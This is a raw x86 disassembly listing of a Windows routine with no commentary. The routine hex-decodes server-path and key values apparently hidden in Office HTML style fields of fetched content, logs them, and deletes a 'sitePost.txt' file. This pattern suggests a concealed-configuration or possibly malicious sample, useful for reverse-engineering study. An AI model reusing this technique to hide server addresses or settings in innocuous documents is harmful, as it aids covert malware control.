jmp 0x405c8c
cmp al, 0x44
jne 0x405c65
mov eax, 0xd
jmp 0x405c8c
cmp al, 0x43
jne 0x405c70
mov eax, 0xc
jmp 0x405c8c
cmp al, 0x42
jne 0x405c7b
mov eax, 0xb
jmp 0x405c8c
cmp al, 0x41
jne 0x405c86
mov eax, 0xa
jmp 0x405c8c
movzx eax, al
sub eax, 0x30
mov dword [0x43e8e4], eax
mov dword [0x43e8dc], 0x1e
mov dword [0x43e8d8], 9
cmp eax, 1
jle 0x405cb9
cmp eax, 8
mov ecx, eax
mov esi, 9
cmovg ecx, esi
jmp 0x405cbb
xor ecx, ecx
mov dword [0x43e8e0], ecx
cmp eax, 0x1e
jle 0x405cdd
xor eax, eax
xor ecx, ecx
mov dword [0x43e8e4], eax
cmp eax, 0x1e
mov dword [0x43e8e0], ecx
mov dword [0x43e8d4], eax
jne 0x405ce6
mov al, 0x55
jmp 0x405db4
cmp eax, 0x1d
jne 0x405cf2
mov al, 0x54
jmp 0x405db4
cmp eax, 0x1c
jne 0x405cfe
mov al, 0x53
jmp 0x405db4
cmp eax, 0x1b
jne 0x405d0a
mov al, 0x52
jmp 0x405db4
cmp eax, 0x1a
jne 0x405d16
mov al, 0x51
jmp 0x405db4
cmp eax, 0x19
jne 0x405d22
mov al, 0x50
jmp 0x405db4
cmp eax, 0x18
jne 0x405d2e
mov al, 0x4f
jmp 0x405db4
cmp eax, 0x17
jne 0x405d3a
mov al, 0x4e
jmp 0x405db4
cmp eax, 0x16
jne 0x405d46
mov al, 0x4d
jmp 0x405db4
cmp eax, 0x15
jne 0x405d4f
mov al, 0x4c
jmp 0x405db4
cmp eax, 0x14
jne 0x405d58
mov al, 0x4b
jmp 0x405db4
cmp eax, 0x13
jne 0x405d61
mov al, 0x4a
jmp 0x405db4
cmp eax, 0x12
jne 0x405d6a
mov al, 0x49
jmp 0x405db4
cmp eax, 0x11
jne 0x405d73
mov al, 0x48
jmp 0x405db4
cmp eax, 0x10
jne 0x405d7c
mov al, 0x47
jmp 0x405db4
cmp eax, 0xf
jne 0x405d85
mov al, 0x46
jmp 0x405db4
cmp eax, 0xe
jne 0x405d8e
mov al, 0x45
jmp 0x405db4
cmp eax, 0xd
jne 0x405d97
mov al, 0x44
jmp 0x405db4
cmp eax, 0xc
jne 0x405da0
mov al, 0x43
jmp 0x405db4
cmp eax, 0xb
jne 0x405da9
mov al, 0x42
jmp 0x405db4
cmp eax, 0xa
jne 0x405db2
mov al, 0x41
jmp 0x405db4
add al, 0x30
mov esi, dword [ebp - 0xee8]
add cl, 0x30
mov byte [edx + 0x17], al
mov eax, dword [ebp - 0xf14]
mov dword [ebp - 0xef0], 1
mov byte [eax + 0x10], cl
mov eax, dword [ebp - 0xf04]
mov byte [eax + 0x10], 0x55
mov eax, dword [ebp - 0xf00]
mov byte [eax + 0x10], 0x39
mov eax, dword [ebp - 0xf10]
cmp eax, esi
jb 0x405e47
push eax
lea eax, [ebp - 0x24]
push str._08X
push eax
call dword [ebp - 0xf2c]
mov edx, dword [ebp - 0xf0c]
add esp, 0xc
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
push str.sitePost.txt
push 0x4519f8
mov dword [edx], eax
lea eax, [ebp - 0xed0]
push 0x42f890
push eax
mov dword [edx + 4], ecx
call dword [ebp - 0xf40]
add esp, 0x10
lea eax, [ebp - 0xed0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0xf10]
push ecx
lea edx, [ebp - 0xf68]
mov ecx, eax
call fcn.00404910
push ecx
lea edx, [ebp - 0x24]
mov ecx, esi
call fcn.00404910
movzx eax, word [ebp - 0xf5e]
push eax
movzx eax, word [ebp - 0xf60]
push eax
movzx eax, word [ebp - 0xf62]
push eax
movzx eax, word [ebp - 0xf66]
push eax
movzx eax, word [ebp - 0xf68]
push eax
lea eax, [ebp - 0x44]
push str._04d__02d__02d__02d:_02d
push eax
call dword [ebp - 0xf2c]
movzx eax, word [ebp - 0x1a]
add esp, 0x1c
push eax
movzx eax, word [ebp - 0x1c]
push eax
movzx eax, word [ebp - 0x1e]
push eax
movzx eax, word [ebp - 0x22]
push eax
movzx eax, word [ebp - 0x24]
push eax
lea eax, [ebp - 0x5c]
push str._04d__02d__02d__02d:_02d
push eax
call dword [ebp - 0xf2c]
add esp, 0x1c
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x44]
push eax
push esi
push dword [ebp - 0xf10]
push str._parserSearchThread_________RunTimeCheck___________________08X_:__08X___s_:__s_
call fcn.00403960
mov eax, dword [ebp - 0xcc0]
mov ecx, dword [ebp - 0xcbc]
mov dword [edi], eax
mov dword [edi + 4], ecx
jmp 0x4061f5
cmp al, 0x55
jne 0x405f02
mov edx, 0x1e
jmp 0x406005
cmp al, 0x54
jne 0x405f10
mov edx, 0x1d
jmp 0x406005
cmp al, 0x53
jne 0x405f1e
mov edx, 0x1c
jmp 0x406005
cmp al, 0x52
jne 0x405f2c
mov edx, 0x1b
jmp 0x406005
cmp al, 0x51
jne 0x405f3a
mov edx, 0x1a
jmp 0x406005
cmp al, 0x50
jne 0x405f48
mov edx, 0x19
jmp 0x406005
cmp al, 0x4f
jne 0x405f56
mov edx, 0x18
jmp 0x406005
cmp al, 0x4e
jne 0x405f64
mov edx, 0x17
jmp 0x406005
cmp al, 0x4d
jne 0x405f72
mov edx, 0x16
jmp 0x406005
cmp al, 0x4c
jne 0x405f80
mov edx, 0x15
jmp 0x406005
cmp al, 0x4b
jne 0x405f8e
mov edx, 0x14
jmp 0x406005
cmp al, 0x4a
jne 0x405f9c
mov edx, 0x13
jmp 0x406005
cmp al, 0x49
jne 0x405fa7
mov edx, 0x12
jmp 0x406005
cmp al, 0x48
jne 0x405fb2
mov edx, 0x11
jmp 0x406005
cmp al, 0x47
jne 0x405fbd
mov edx, 0x10
jmp 0x406005
cmp al, 0x46
jne 0x405fc8
mov edx, 0xf
jmp 0x406005
cmp al, 0x45
jne 0x405fd3
mov edx, 0xe
jmp 0x406005
cmp al, 0x44
jne 0x405fde
mov edx, 0xd
jmp 0x406005
cmp al, 0x43
jne 0x405fe9
mov edx, 0xc
jmp 0x406005
cmp al, 0x42
jne 0x405ff4
mov edx, 0xb
jmp 0x406005
cmp al, 0x41
jne 0x405fff
mov edx, 0xa
jmp 0x406005
movzx edx, al
sub edx, 0x30
mov eax, dword [ebp - 0xf04]
mov dword [0x43e8e4], edx
mov al, byte [eax + 0x10]
cmp al, 0x55
jne 0x406022
mov ecx, 0x1e
jmp 0x406125
cmp al, 0x54
jne 0x406030
mov ecx, 0x1d
jmp 0x406125
cmp al, 0x53
jne 0x40603e
mov ecx, 0x1c
jmp 0x406125
cmp al, 0x52
jne 0x40604c
mov ecx, 0x1b
jmp 0x406125
cmp al, 0x51
jne 0x40605a
mov ecx, 0x1a
jmp 0x406125
cmp al, 0x50
jne 0x406068
mov ecx, 0x19
jmp 0x406125
cmp al, 0x4f
jne 0x406076
mov ecx, 0x18
jmp 0x406125
cmp al, 0x4e
jne 0x406084
mov ecx, 0x17
jmp 0x406125
cmp al, 0x4d
jne 0x406092
mov ecx, 0x16
jmp 0x406125
cmp al, 0x4c
jne 0x4060a0
mov ecx, 0x15
jmp 0x406125
cmp al, 0x4b
jne 0x4060ae
mov ecx, 0x14
jmp 0x406125
cmp al, 0x4a
jne 0x4060bc
mov ecx, 0x13
jmp 0x406125
cmp al, 0x49
jne 0x4060c7
mov ecx, 0x12
jmp 0x406125
cmp al, 0x48
jne 0x4060d2
mov ecx, 0x11
jmp 0x406125
cmp al, 0x47
jne 0x4060dd
mov ecx, 0x10
jmp 0x406125
cmp al, 0x46
jne 0x4060e8
mov ecx, 0xf
jmp 0x406125
cmp al, 0x45
jne 0x4060f3
mov ecx, 0xe
jmp 0x406125
cmp al, 0x44
jne 0x4060fe
mov ecx, 0xd
jmp 0x406125
cmp al, 0x43
jne 0x406109
mov ecx, 0xc
jmp 0x406125
cmp al, 0x42
jne 0x406114
mov ecx, 0xb
jmp 0x406125
cmp al, 0x41
jne 0x40611f
mov ecx, 0xa
jmp 0x406125
movzx ecx, al
sub ecx, 0x30
mov eax, dword [ebp - 0xf14]
mov dword [0x43e8dc], ecx
mov dword [ebp - 0xf0c], 0
movzx esi, byte [eax + 0x10]
mov eax, dword [ebp - 0xf00]
add esi, 0xffffffd0
mov dword [0x43e8e0], esi
movzx eax, byte [eax + 0x10]
add eax, 0xffffffd0
cmp esi, 9
jge 0x406177
mov edi, esi
cmp edx, esi
jl 0x406164
mov esi, edx
mov edi, edx
cmp edi, 9
mov edi, 9
cmovge esi, edi
mov dword [0x43e8e0], esi
jmp 0x40617c
mov edi, 9
cmp eax, 9
jge 0x40618c
cmp ecx, eax
cmovge eax, ecx
cmp eax, 9
cmovge eax, edi
cmp eax, ecx
cmovg eax, ecx
mov dword [0x43e8d8], eax
cmp esi, ecx
jle 0x40620a
mov esi, ecx
mov dword [0x43e8e0], esi
jmp 0x40620a
mov eax, dword [ebp - 0xcc0]
mov ecx, dword [ebp - 0xcbc]
mov dword [edi], eax
mov dword [edi + 4], ecx
movzx eax, word [ebp - 0xcca]
push eax
movzx eax, word [ebp - 0xcce]
push eax
movzx eax, word [ebp - 0xcd0]
push eax
push str._04d_02d_02d
push 0x450d74
mov dword [ebp - 0xef0], 1
mov dword [ebp - 0xf0c], 0
call dword [ebp - 0xf2c]
mov edx, dword [0x43e8e4]
add esp, 0x14
mov esi, dword [0x43e8e0]
mov ecx, dword [0x43e8dc]
push dword [0x43e8d8]
push ecx
push esi
push edx
push 0x450d74
push dword [ebp - 0xef0]
push str._parserSearchThread_________Inspection______Count__________d_:__s___d:_d:_d:_d_
call fcn.00403840
add esp, 0x1c
mov dword [ebp - 0xedc], 0
push str.mso_style_parent:
call dword [ebp - 0xee0]
cmp eax, 1
jl 0x406317
cmp eax, 0x400
jg 0x406317
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
lea edi, [eax - 1]
xor ecx, ecx
test edi, edi
jle 0x406284
mov edx, edi
nop dword [eax]
movzx eax, byte [ecx + str.mso_style_parent:]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, edi
jl 0x406270
mov dl, byte [edi + str.mso_style_parent:]
mov esi, edi
mov byte [ebp - 0xed1], dl
mov eax, dword [ebp - 0xee4]
add eax, esi
mov cl, byte [eax]
mov byte [ebp - 0xed2], cl
cmp cl, dl
jne 0x4062f3
test edi, edi
je 0x406311
mov eax, dword [ebp - 0xee4]
lea edx, [esi - 1]
lea ecx, [edi - 1]
mov al, byte [edx + eax]
cmp al, byte [ecx + str.mso_style_parent:]
jne 0x4062dd
mov eax, dword [ebp - 0xee4]
test ecx, ecx
je 0x406307
mov al, byte [edx + eax - 1]
dec edx
dec ecx
cmp al, byte [ecx + str.mso_style_parent:]
je 0x4062c5
mov eax, dword [ebp - 0xedc]
test eax, eax
jne 0x406317
mov cl, byte [ebp - 0xed2]
mov dl, byte [ebp - 0xed1]
movzx eax, cl
add esi, dword [ebp + eax*4 - 0xc90]
cmp esi, 0x400
jl 0x406292
jmp 0x406317
add eax, edx
mov dword [ebp - 0xedc], eax
jmp 0x4062e3
mov dword [ebp - 0xedc], eax
push str.mso_style_next:
mov dword [ebp - 0xee8], 0
call dword [ebp - 0xee0]
cmp eax, 1
jl 0x406407
cmp eax, 0x400
jg 0x406407
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
lea edi, [eax - 1]
xor ecx, ecx
test edi, edi
jle 0x406374
mov edx, edi
nop dword [eax + eax]
movzx eax, byte [ecx + str.mso_style_next:]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, edi
jl 0x406360
mov dl, byte [edi + str.mso_style_next:]
mov esi, edi
mov byte [ebp - 0xed1], dl
mov eax, dword [ebp - 0xee4]
add eax, esi
mov cl, byte [eax]
mov byte [ebp - 0xed2], cl
cmp cl, dl
jne 0x4063e3
test edi, edi
je 0x406401
mov eax, dword [ebp - 0xee4]
lea edx, [esi - 1]
lea ecx, [edi - 1]
mov al, byte [edx + eax]
cmp al, byte [ecx + str.mso_style_next:]
jne 0x4063cd
mov eax, dword [ebp - 0xee4]
test ecx, ecx
je 0x4063f7
mov al, byte [edx + eax - 1]
dec edx
dec ecx
cmp al, byte [ecx + str.mso_style_next:]
je 0x4063b5
mov eax, dword [ebp - 0xee8]
test eax, eax
jne 0x406407
mov cl, byte [ebp - 0xed2]
mov dl, byte [ebp - 0xed1]
movzx eax, cl
add esi, dword [ebp + eax*4 - 0xc90]
cmp esi, 0x400
jl 0x406382
jmp 0x406407
add eax, edx
mov dword [ebp - 0xee8], eax
jmp 0x4063d3
mov dword [ebp - 0xee8], eax
push str.mso_font_alt:
mov dword [ebp - 0xed8], 0
call dword [ebp - 0xee0]
cmp eax, 1
jl 0x4064f3
cmp eax, 0x400
jg 0x4064f3
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
lea edi, [eax - 1]
xor ecx, ecx
test edi, edi
jle 0x406464
mov edx, edi
nop dword [eax + eax]
movzx eax, byte [ecx + str.mso_font_alt:]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, edi
jl 0x406450
mov dl, byte [edi + str.mso_font_alt:]
mov esi, edi
mov byte [ebp - 0xed1], dl
mov eax, dword [ebp - 0xee4]
add eax, esi
mov cl, byte [eax]
mov byte [ebp - 0xed2], cl
cmp cl, dl
jne 0x4064cf
test edi, edi
je 0x4064ed
mov eax, dword [ebp - 0xee4]
lea edx, [esi - 1]
lea ecx, [edi - 1]
mov al, byte [edx + eax]
cmp al, byte [ecx + str.mso_font_alt:]
jne 0x4064b9
mov eax, dword [ebp - 0xee4]
test ecx, ecx
je 0x4064e3
mov al, byte [edx + eax - 1]
dec edx
dec ecx
cmp al, byte [ecx + str.mso_font_alt:]
je 0x4064a1
mov eax, dword [ebp - 0xed8]
test eax, eax
jne 0x4064f3
mov cl, byte [ebp - 0xed2]
mov dl, byte [ebp - 0xed1]
movzx eax, cl
add esi, dword [ebp + eax*4 - 0xc90]
cmp esi, 0x400
jl 0x406472
jmp 0x4064f3
add eax, edx
mov dword [ebp - 0xed8], eax
jmp 0x4064bf
mov dword [ebp - 0xed8], eax
xor esi, esi
push str.mso_font_signature:
mov dword [ebp - 0xeec], esi
call dword [ebp - 0xee0]
cmp eax, 1
jl 0x4065ee
cmp eax, 0x400
jg 0x4065ee
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
lea edi, [eax - 1]
xor ecx, ecx
test edi, edi
jle 0x406554
mov edx, edi
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ecx + str.mso_font_signature:]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, edi
jl 0x406540
mov dl, byte [edi + str.mso_font_signature:]
mov esi, edi
mov byte [ebp - 0xed1], dl
mov eax, dword [ebp - 0xee4]
add eax, esi
mov cl, byte [eax]
mov byte [ebp - 0xed2], cl
cmp cl, dl
jne 0x4065d2
test edi, edi
je 0x406648
mov eax, dword [ebp - 0xee4]
lea edx, [esi - 1]
lea ecx, [edi - 1]
mov al, byte [edx + eax]
cmp al, byte [ecx + str.mso_font_signature:]
jne 0x4065bc
nop word [eax + eax]
mov eax, dword [ebp - 0xee4]
test ecx, ecx
je 0x40663b
mov al, byte [edx + eax - 1]
dec edx
dec ecx
cmp al, byte [ecx + str.mso_font_signature:]
je 0x4065a0
mov eax, dword [ebp - 0xeec]
test eax, eax
jne 0x4065e8
mov cl, byte [ebp - 0xed2]
mov dl, byte [ebp - 0xed1]
movzx eax, cl
add esi, dword [ebp + eax*4 - 0xc90]
cmp esi, 0x400
jl 0x406562
mov esi, dword [ebp - 0xeec]
mov ecx, dword [ebp - 0xedc]
test ecx, ecx
je 0x40787a
mov edx, dword [ebp - 0xee8]
test edx, edx
je 0x40787a
mov edi, dword [ebp - 0xed8]
test edi, edi
je 0x40787a
test esi, esi
je 0x40787a
xor eax, eax
cmp byte [ecx + eax], 0x22
je 0x406652
mov ecx, dword [ebp - 0xedc]
inc eax
cmp eax, 0x400
jl 0x406622
jmp 0x4066b7
add eax, edx
mov dword [ebp - 0xeec], eax
jmp 0x4065c2
mov esi, eax
mov dword [ebp - 0xeec], esi
jmp 0x4065ee
inc ecx
lea esi, [ebp - 0xcc0]
add eax, ecx
xor ecx, ecx
sub esi, eax
nop
mov dl, byte [eax]
cmp dl, 0x22
je 0x406673
mov byte [esi + eax], dl
inc ecx
inc eax
cmp ecx, 0x2e
jl 0x406660
jmp 0x4066b1
xor eax, eax
cmp byte [ebp + eax - 0xcc0], 0x20
je 0x406687
inc eax
cmp eax, 0x2e
jl 0x406675
jmp 0x4066b1
lea esi, [ebp - 0xcbf]
mov byte [ebp + eax - 0xcbb], 0
add esi, eax
push esi
push 0x450a70
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
push str._parserSearchThread_________ServerSite_Path_Level1_________s_
call fcn.00403960
add esp, 8
mov edx, dword [ebp - 0xee8]
xor eax, eax
nop dword [eax]
cmp byte [edx + eax], 0x22
lea ecx, [edx + eax]
je 0x4066d3
inc eax
cmp eax, 0x400
jl 0x4066c0
jmp 0x406731
lea eax, [ecx + 1]
xor ecx, ecx
lea esi, [ebp - 0xcc0]
sub esi, eax
mov dl, byte [eax]
cmp dl, 0x22
je 0x4066f3
mov byte [esi + eax], dl
inc ecx
inc eax
cmp ecx, 0x2e
jl 0x4066e0
jmp 0x406731
xor eax, eax
cmp byte [ebp + eax - 0xcc0], 0x20
je 0x406707
inc eax
cmp eax, 0x2e
jl 0x4066f5
jmp 0x406731
lea esi, [ebp - 0xcbf]
mov byte [ebp + eax - 0xcbb], 0
add esi, eax
push esi
push 0x450a60
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
push str._parserSearchThread_________ServerSite_Path_Level3_________s_
call fcn.00403960
add esp, 8
xor eax, eax
cmp byte [edi + eax], 0x3a
lea ecx, [edi + eax]
je 0x406749
inc eax
cmp eax, 0x400
jl 0x406733
jmp 0x4069cb
lea eax, [ecx + 2]
xor ecx, ecx
lea esi, [ebp - 0xcc0]
sub esi, eax
mov dl, byte [eax]
cmp dl, 0x3b
je 0x40676c
mov byte [esi + eax], dl
inc ecx
inc eax
cmp ecx, 0x2e
jl 0x406756
jmp 0x4069cb
xorps xmm0, xmm0
xor al, al
movups xmmword [ebp - 0x2c], xmm0
xor edx, edx
mov byte [ebp - 0x2c], al
movq qword [ebp - 0x1c], xmm0
nop
mov cl, byte [ebp + edx - 0xcc0]
cmp cl, 0x30
jb 0x406798
cmp cl, 0x39
ja 0x406798
sub al, 3
shl al, 4
jmp 0x4067b8
cmp cl, 0x41
jb 0x4067a9
cmp cl, 0x46
ja 0x4067a9
shl al, 4
sub al, 0x37
jmp 0x4067b8
cmp cl, 0x61
jb 0x4067bd
cmp cl, 0x66
ja 0x4067bd
shl al, 4
sub al, 0x57
add al, cl
mov byte [ebp - 0x2c], al
inc edx
cmp edx, 2
jl 0x406780
xor al, al
xor edx, edx
mov byte [ebp - 0x2b], al
nop word [eax + eax]
mov cl, byte [ebp + edx - 0xcbe]
cmp cl, 0x30
jb 0x4067e8
cmp cl, 0x39
ja 0x4067e8
sub al, 3
shl al, 4
jmp 0x406808
cmp cl, 0x41
jb 0x4067f9
cmp cl, 0x46
ja 0x4067f9
shl al, 4
sub al, 0x37
jmp 0x406808
cmp cl, 0x61
jb 0x40680d
cmp cl, 0x66
ja 0x40680d
shl al, 4
sub al, 0x57
add al, cl
mov byte [ebp - 0x2b], al
inc edx
cmp edx, 2
jl 0x4067d0
xor al, al
xor edx, edx
mov byte [ebp - 0x2a], al
nop word [eax + eax]
mov cl, byte [ebp + edx - 0xcbc]
cmp cl, 0x30
jb 0x406838
cmp cl, 0x39
ja 0x406838
sub al, 3
shl al, 4
jmp 0x406858
cmp cl, 0x41
jb 0x406849
cmp cl, 0x46
ja 0x406849
shl al, 4
sub al, 0x37
jmp 0x406858
cmp cl, 0x61
jb 0x40685d
cmp cl, 0x66
ja 0x40685d
shl al, 4
sub al, 0x57
add al, cl
mov byte [ebp - 0x2a], al
inc edx
cmp edx, 2
jl 0x406820
xor al, al
xor edx, edx
mov byte [ebp - 0x29], al
nop word [eax + eax]
mov cl, byte [ebp + edx - 0xcba]
cmp cl, 0x30
jb 0x406888
cmp cl, 0x39
ja 0x406888
sub al, 3
shl al, 4
jmp 0x4068a8
cmp cl, 0x41
jb 0x406899
cmp cl, 0x46
ja 0x406899
shl al, 4
sub al, 0x37
jmp 0x4068a8
cmp cl, 0x61
jb 0x4068ad
cmp cl, 0x66
ja 0x4068ad
shl al, 4
sub al, 0x57
add al, cl
mov byte [ebp - 0x29], al
inc edx
cmp edx, 2
jl 0x406870
xor al, al
xor edx, edx
mov byte [ebp - 0x28], al
nop word [eax + eax]
mov cl, byte [ebp + edx - 0xcb7]
cmp cl, 0x30
jb 0x4068d8
cmp cl, 0x39
ja 0x4068d8
sub al, 3
shl al, 4
jmp 0x4068f8
cmp cl, 0x41
jb 0x4068e9
cmp cl, 0x46
ja 0x4068e9
shl al, 4
sub al, 0x37
jmp 0x4068f8
cmp cl, 0x61
jb 0x4068fd
cmp cl, 0x66
ja 0x4068fd
shl al, 4
sub al, 0x57
add al, cl
mov byte [ebp - 0x28], al
inc edx
cmp edx, 2
jl 0x4068c0
xor al, al
xor edx, edx
mov byte [ebp - 0x26], al
nop word [eax + eax]
mov cl, byte [ebp + edx - 0xcb3]
cmp cl, 0x30
jb 0x406928
cmp cl, 0x39
ja 0x406928
sub al, 3
shl al, 4
jmp 0x406948
cmp cl, 0x41
jb 0x406939
cmp cl, 0x46
ja 0x406939
shl al, 4
sub al, 0x37
jmp 0x406948
cmp cl, 0x61
jb 0x40694d
cmp cl, 0x66
ja 0x40694d
shl al, 4
sub al, 0x57
add al, cl
mov byte [ebp - 0x26], al
inc edx
cmp edx, 2
jl 0x406910
xor al, al
xor edx, edx
mov byte [ebp - 0x25], al
nop word [eax + eax]
mov cl, byte [ebp + edx - 0xcb1]
cmp cl, 0x30
jb 0x406978
cmp cl, 0x39
ja 0x406978
sub al, 3
shl al, 4
jmp 0x406998
cmp cl, 0x41
jb 0x406989
cmp cl, 0x46
ja 0x406989
shl al, 4
sub al, 0x37
jmp 0x406998
cmp cl, 0x61
jb 0x40699d
cmp cl, 0x66
ja 0x40699d
shl al, 4
sub al, 0x57
add al, cl
mov byte [ebp - 0x25], al
inc edx
cmp edx, 2
jl 0x406960
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x27], 0x5f
push eax
push 0x450a50
mov byte [ebp - 0x24], 0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x2c]
push eax
push str._parserSearchThread_________ServerSite_Path_Level2_________s_
call fcn.00403960
add esp, 8
mov edx, dword [ebp - 0xeec]
xor eax, eax
cmp byte [edx + eax], 0x3a
lea ecx, [edx + eax]
je 0x4069e6
inc eax
cmp eax, 0x400
jl 0x4069d3
jmp 0x406a2b
inc ecx
xor eax, eax
nop dword [eax]
cmp byte [eax + ecx], 0x3b
je 0x4069fe
inc eax
cmp eax, 0x2e
jl 0x4069f0
jmp 0x406a2b
movzx eax, byte [ecx]
mov byte [ebp - 0xf30], al
movzx eax, byte [ecx + 2]
mov byte [ebp - 0xf2f], al
movzx eax, byte [ecx + 4]
mov byte [ebp - 0xf2e], al
movzx eax, byte [ecx + 6]
mov byte [ebp - 0xf2d], al
mov dword [ebp - 0xf44], ecx
lea eax, [ebp - 0xf30]
push eax
lea eax, [ebp - 0xf38]
push eax
push str._parserSearchThread_________Inspection______DataComp_______.4s:_.4s_
call fcn.00403960
lea eax, [ebp - 0xf38]
add esp, 0xc
mov eax, dword [eax]
lea ecx, [ebp - 0xf30]
cmp eax, dword [ecx]
je 0x406a6c
mov dword [0x43e8d4], 0
mov dword [ebp - 0xf08], 1
push 0x450a10
push str._parserSearchThread_________Search__EntryKey_2_____________s_
call fcn.00403960
push 0x450a00
push str._parserSearchThread_________Search__EntryKey_3_____________s_
call fcn.00403960
push 0x4509f0
push str._parserSearchThread_________Search__EntryKey_4_____________s_
call fcn.00403960
mov esi, dword [ebp - 0xf18]
add esp, 0x18
mov edi, dword [ebp - 0xef8]
push 0x4509e0
push esi
push edi
call fcn.004040e0
push 0x450a10
push esi
push edi
mov dword [ebp - 0xf28], eax
call fcn.004040e0
push 0x450a00
push esi
push dword [ebp - 0xef8]
mov edi, eax
call fcn.004040e0
push 0x4509f0
push esi
push dword [ebp - 0xef8]
mov dword [ebp - 0xee4], eax
call fcn.004040e0
mov esi, eax
push edi
push str._parserSearchThread_________Search__EntryAddr___2__________08X_
mov dword [ebp - 0xf3c], esi
call fcn.00403840
push dword [ebp - 0xee4]
push str._parserSearchThread_________Search__EntryAddr___3__________08X_
call fcn.00403840
push esi
push str._parserSearchThread_________Search__EntryAddr___4__________08X_
call fcn.00403840
mov esi, dword [ebp - 0xf28]
push esi
push str._parserSearchThread_________Search__EntryAddr___5__________08X_
call fcn.00403840
add esp, 0x20
test edi, edi
je 0x40786b
cmp dword [ebp - 0xee4], 0
je 0x40786b
test esi, esi
je 0x40786b
mov eax, dword [ebp - 0xef8]
sub eax, esi
add eax, dword [ebp - 0xf18]
push str._MinimumNumberOfValues_
push eax
push esi
call fcn.004040e0
mov esi, dword [ebp - 0xef8]
sub esi, edi
mov dword [ebp - 0xf28], eax
add esi, dword [ebp - 0xf18]
push str._Threshold_1__Threshold_
push esi
push edi
call fcn.004040e0
push str._CondType_View__CondType_
push esi
push edi
mov dword [ebp - 0xf50], eax
call fcn.004040e0
push str._NodeType_Root__NodeType_
push esi
push edi
mov dword [ebp - 0xee8], eax
call fcn.004040e0
push str._ContextView_05B76100__ContextView_
push esi
push edi
mov dword [ebp - 0xf54], eax
call fcn.004040e0
mov esi, dword [ebp - 0xf3c]
mov edi, eax
mov dword [ebp - 0xeec], edi
mov dword [ebp - 0xed8], 0
test esi, esi
je 0x406cf5
push str._MinimumNumberOfValues_
call dword [ebp - 0xee0]
cmp eax, 1
jl 0x406cf5
cmp eax, 0x800
jg 0x406cf5
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
lea edi, [eax - 1]
xor ecx, ecx
mov dword [ebp - 0xedc], edi
test edi, edi
jle 0x406c36
mov edx, edi
nop dword [eax]
movzx eax, byte [ecx + str._MinimumNumberOfValues_]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, edi
jl 0x406c20
jmp 0x406c3c
mov dword [ebp - 0xedc], edi
mov dl, byte [edi + str._MinimumNumberOfValues_]
mov byte [ebp - 0xed1], dl
nop dword [eax + eax]
mov cl, byte [edi + esi]
lea eax, [edi + esi]
mov byte [ebp - 0xed2], cl
cmp cl, dl
jne 0x406cae
mov ecx, dword [ebp - 0xedc]
test ecx, ecx
je 0x406cce
mov al, byte [edi + esi - 1]
lea edx, [edi - 1]
dec ecx
cmp al, byte [ecx + str._MinimumNumberOfValues_]
jne 0x406c92
nop
test ecx, ecx
je 0x406ca4
mov al, byte [edx + esi - 1]
dec edx
dec ecx
cmp al, byte [ecx + str._MinimumNumberOfValues_]
je 0x406c80
mov edx, dword [ebp - 0xed8]
test edx, edx
jne 0x406cd4
mov cl, byte [ebp - 0xed2]
jmp 0x406cb4
add edx, esi
mov dword [ebp - 0xed8], edx
jmp 0x406c98
mov edx, dword [ebp - 0xed8]
movzx eax, cl
add edi, dword [ebp + eax*4 - 0xc90]
cmp edi, 0x800
jge 0x406cd0
mov dl, byte [ebp - 0xed1]
jmp 0x406c50
mov edx, eax
test edx, edx
je 0x406cef
lea ecx, [edx + 0x17]
call fcn.00403f90
push eax
push str._parserSearchThread_________TrialLimitCount________________d_
mov dword [0x43e8d4], eax
call fcn.00403960
add esp, 8
mov edi, dword [ebp - 0xeec]
mov eax, dword [ebp - 0xf28]
test eax, eax
je 0x406d1a
lea ecx, [eax + 0x17]
call fcn.00403f90
push eax
push str._parserSearchThread_________HTTP_Parser_Edition_Key________d_
mov dword [0x4522cc], eax
call fcn.00403960
add esp, 8
cmp dword [ebp - 0xf50], 0
je 0x40785c
cmp dword [ebp - 0xee8], 0
je 0x40785c
cmp dword [ebp - 0xf54], 0
je 0x40785c
test edi, edi
je 0x40785c
mov eax, dword [ebp - 0xee4]
mov edi, dword [ebp - 0xef8]
sub edi, eax
add edi, dword [ebp - 0xf18]
push str._Threshold_2__Threshold_
push edi
push eax
mov dword [ebp - 0xeec], edi
call fcn.004040e0
push str._Threshold_A__Threshold_
push edi
push dword [ebp - 0xee4]
mov dword [ebp - 0xed8], eax
call fcn.004040e0
push str._Threshold_K__Threshold_
push edi
push dword [ebp - 0xee4]
mov dword [ebp - 0xedc], eax
call fcn.004040e0
push str._Threshold_O__Threshold_
push edi
push dword [ebp - 0xee4]
mov dword [ebp - 0xf50], eax
call fcn.004040e0
push str._Threshold____Threshold_
push edi
push dword [ebp - 0xee4]
mov dword [ebp - 0xf3c], eax
call fcn.004040e0
push 0x430330
push edi
push dword [ebp - 0xee4]
mov dword [ebp - 0xf28], eax
call fcn.004040e0
push str._Threshold___Threshold_
push dword [ebp - 0xeec]
mov edi, eax
push dword [ebp - 0xee4]
call fcn.004040e0
push str._ThresholdTest_
push dword [ebp - 0xeec]
push dword [ebp - 0xee4]
call fcn.004040e0
push str._publicKeyToken_
push dword [ebp - 0xeec]
mov dword [ebp - 0xf54], eax
push dword [ebp - 0xee4]
call fcn.004040e0
